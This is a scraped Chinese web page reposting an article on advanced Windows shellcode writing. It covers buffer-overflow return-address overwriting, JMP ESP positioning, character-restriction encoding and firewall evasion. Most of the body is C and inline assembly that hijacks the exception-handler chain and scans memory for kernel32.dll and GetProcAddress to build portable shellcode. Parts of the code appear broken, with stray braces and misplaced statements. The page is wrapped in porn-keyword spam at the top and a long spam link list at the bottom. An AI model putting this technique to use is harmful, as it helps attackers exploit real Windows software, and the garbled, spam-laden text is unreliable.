成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Windows的SHELLCODE編寫高級技巧

安全 網(wǎng)站安全
unix等系統(tǒng)因為有用戶概念,所以往往溢出是使用先得到普通帳號,然后登陸后用溢出再加載一個SHELL的辦法得到ROOT權(quán)限,其系統(tǒng)調(diào)用又方便,所以SHELLCODE編寫一般都比較簡單。

unix等系統(tǒng)因為有用戶概念,所以往往溢出是使用先得到普通帳號,然后登陸后用溢出再加載一個SHELL的辦法得到ROOT權(quán)限,其系統(tǒng)調(diào)用又方便,所以SHELLCODE編寫一般都比較簡單。但WINDOWS系統(tǒng)往往不提供登陸服務(wù),所以溢出攻擊的SHELLCODE往往要提供SOCKET連接,要加載程序得到SHELL等,而WINDOWS的系統(tǒng)調(diào)用int2e接口又不如unix系統(tǒng)調(diào)用int80規(guī)范,所以一般都使用API,而API函數(shù)地址又因為系統(tǒng)版本的不同而不一樣,所以要編寫WINDOWS下面比較實用、通用點的SHELLCODE比較麻煩。經(jīng)過一段時間的思考,得到了WINDOWS下編寫SHELLCODE的比教好的辦法。

1、溢出點確定。使用溢出點附近覆蓋一片一個RET指令地址的辦法,這樣只要知道溢出點大致范圍就可以了。

2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆蓋的RET地址后面放一個JMPESP功能的指令地址就可以定位了。

3、RET指令地址、JMP ESP功能指令地址采用代碼頁里面的地址,54 C3,或者FF E4、C3這個一個語言的WINDOWS地址固定,也很好找這個地址。

4、SHELLCODE直接使用C語言編寫,方便編寫、修改、調(diào)試。

5、SHELLCODE統(tǒng)一編碼,滿足應(yīng)用條件對SHELLCODE字符的限制,用一段小匯編代碼解碼,這樣編寫SHELLCODE就可以不用考慮特殊字符了。

6、通信加密,對付防火墻,實現(xiàn)FTP功能,實現(xiàn)內(nèi)存直接接管WEB服務(wù)等的高級應(yīng)用。下面主要介紹介紹編寫通用SHELLCODE的辦法。主要SHELLCODE里面使用的API自己用GetProcAddress定位,要使用庫用LoadLibraryA加載。那這樣SHELLCODE就只依靠這兩個API了。那這兩個API的地址又怎么解決呢,LoadLibraryA這個API在系統(tǒng)庫KERNEL32.DLL里面,也可以使用GetProcAddress得到。那關(guān)鍵就是要找到系統(tǒng)庫kernel32.dll和GetProcAddress的地址了。因為一般應(yīng)用程序都會加載kernel32.dll,所以解決辦法就是在內(nèi)存里面找到這個系統(tǒng)庫和API地址,所幸知道了WINDOWS的模塊數(shù)據(jù)結(jié)構(gòu)也就不難了,主要是增加異常結(jié)構(gòu)處理 。下面是VC6.0程序代碼:

void shellcodefn()

{

int *except[3];

FARPROC procgetadd=0;

char *stradd;

int imgbase,fnbase,i,k,l;

HANDLE libhandle;

_asm {

jmp nextcall

getstradd: pop stradd

lea EDI,except

mov eax,dword ptr FS:[0]

mov dword ptr [edi+0x08],eax

mov dword ptr FS:[0],EDI

}

except[0]=0xffffffff;

except[1]=stradd-0x07;

/* 保存異常結(jié)構(gòu)鏈和修改異常結(jié)構(gòu)鏈,SHELLCODE接管異常 */

imgbase=0x77e00000;

/* 搜索KERNEL32.DLL 的起始其實地址 */

call getexceptretadd

}

/* 得到異常后的返回地址 */

for(;imgbase<0xbffa0000,procgetadd==0;){

imgbase+=0x10000;

/* 模塊地址是64K為單位,加快速度*/

if(imgbase==0x78000000) imgbase=0xbff00000;

/* 如果到這還沒有搜索到,那可能是WIN9X系統(tǒng) */

if(*( WORD *)imgbase==’ZM’&& *(WORD *)

(imgbase+*(int *)(imgbase+0x3c))==’EP’){

/* 模塊結(jié)構(gòu)的模塊頭 */

fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;

k=*(int *)(fnbase+0xc)+imgbase;

if(*(int *)k ==’NREK’&&*(int *)(k+4)==’23LE’){

/* 模塊名 */

libhandle=imgbase;

/* 得到模塊頭地址,就是模塊句柄 */

k=imgbase+*(int *)(fnbase+0x20);

for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){

if(*(int *)(imgbase+*(int *)k)==’PteG’&&*(int *)(4+imgbase+*(int *)k)==’Acor’){

/* 引出名 */

k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));

k+=*(int *)(fnbase+0x10)-1;

k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));

procgetadd=k+imgbase;

/* API地址 */

break;

}

}

}

}

}

// 搜索KERNEL32。DLL模塊地址和API函數(shù) GetProcAddress地址

// 注意這兒處理了搜索頁面不在情況。

_asm{

lea edi,except

mov eax,dword ptr [edi+0x08]

mov dword ptr fs:[0],eax

}

/* 恢復(fù)異常結(jié)構(gòu)鏈 */

if(procgetadd==0) goto die ;

/* 如果沒找到GetProcAddress地址死循環(huán) */

die: goto die ;

_asm{

getexceptretadd: pop eax

push eax

mov edi,dword ptr [stradd]

mov dword ptr [edi-0x0e],eax

ret

/* 得到異常后的返回地址,并填寫到異常處理模塊 */

/* 異常處理模塊 */

errprogram: mov eax,dword ptr [esp+0x0c]

add eax,0xb8

mov dword ptr [eax],0x11223344 //stradd-0xe

/* 修改異常返回EIP指針 */

xor eax,eax //2

/* 不提示異常 */

ret //1

/* 異常處理返回 */

execptprogram: jmp errprogram //2 bytes stradd-7

nextcall: call getstradd //5 bytes

}

}

責(zé)任編輯:藍雨淚 來源: 紅黑聯(lián)盟
相關(guān)推薦

2013-12-10 10:53:47

shellcode

2022-05-06 18:55:29

Java技巧Shellcode

2022-01-19 17:48:57

測試用例開發(fā)

2014-11-10 09:59:08

jQuery

2014-07-29 13:55:10

程序員代碼

2020-07-15 14:51:39

代碼C+開發(fā)

2023-03-27 15:05:10

Python技巧

2010-09-13 10:11:06

CSSDWMX

2014-07-28 10:27:37

linux集群

2016-01-14 11:50:16

Shellcode分析PyAnaShellcode分析

2017-09-14 12:45:35

2025-01-14 00:01:01

2010-01-27 16:35:54

Android常用技巧

2010-02-22 11:14:43

Python編寫

2011-08-01 11:56:45

Google搜索

2015-03-03 14:10:53

shellcode哈夫曼編碼Huffy

2011-07-25 15:56:45

組策略

2017-09-05 08:16:29

代碼判斷函數(shù)

2020-05-08 19:52:31

Reactreact.js前端

2020-08-06 16:34:48

Python開發(fā)工具
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: www成人啪啪18| 午夜在线精品 | 国产精品电影在线观看 | 亚洲精品一区二区三区四区高清 | 中文在线播放 | 亚洲国产精品va在线看黑人 | 欧美色成人 | 欧美xxxx色视频在线观看免费 | 日韩在线大片 | 国产日韩欧美一区 | 成年人国产在线观看 | com.色.www在线观看 | 国产精品久久久久影院色老大 | 欧美11一13sex性hd | 欧美一区二区三区视频在线播放 | 欧美成年视频 | 亚洲国产精品美女 | 超碰97免费| 99久热在线精品视频观看 | 国产男女猛烈无遮掩视频免费网站 | 久久国产99 | 综合九九 | 精品久久久久久久久久久久 | 最新日韩欧美 | 男人天堂手机在线视频 | 色婷综合网 | 精品欧美激情在线观看 | 一区二区三区 在线 | 国产欧美日韩一区二区三区在线 | 色婷婷在线视频 | 日韩在线播放中文字幕 | 欧美在线视频一区二区 | 国产三级 | 亚洲国产精品久久 | 成人区精品一区二区婷婷 | av在线播放一区二区 | 久久久久久国产精品免费 | 日韩在线一区二区 | 亚洲精品一| 国产精品自拍视频 | 荷兰欧美一级毛片 |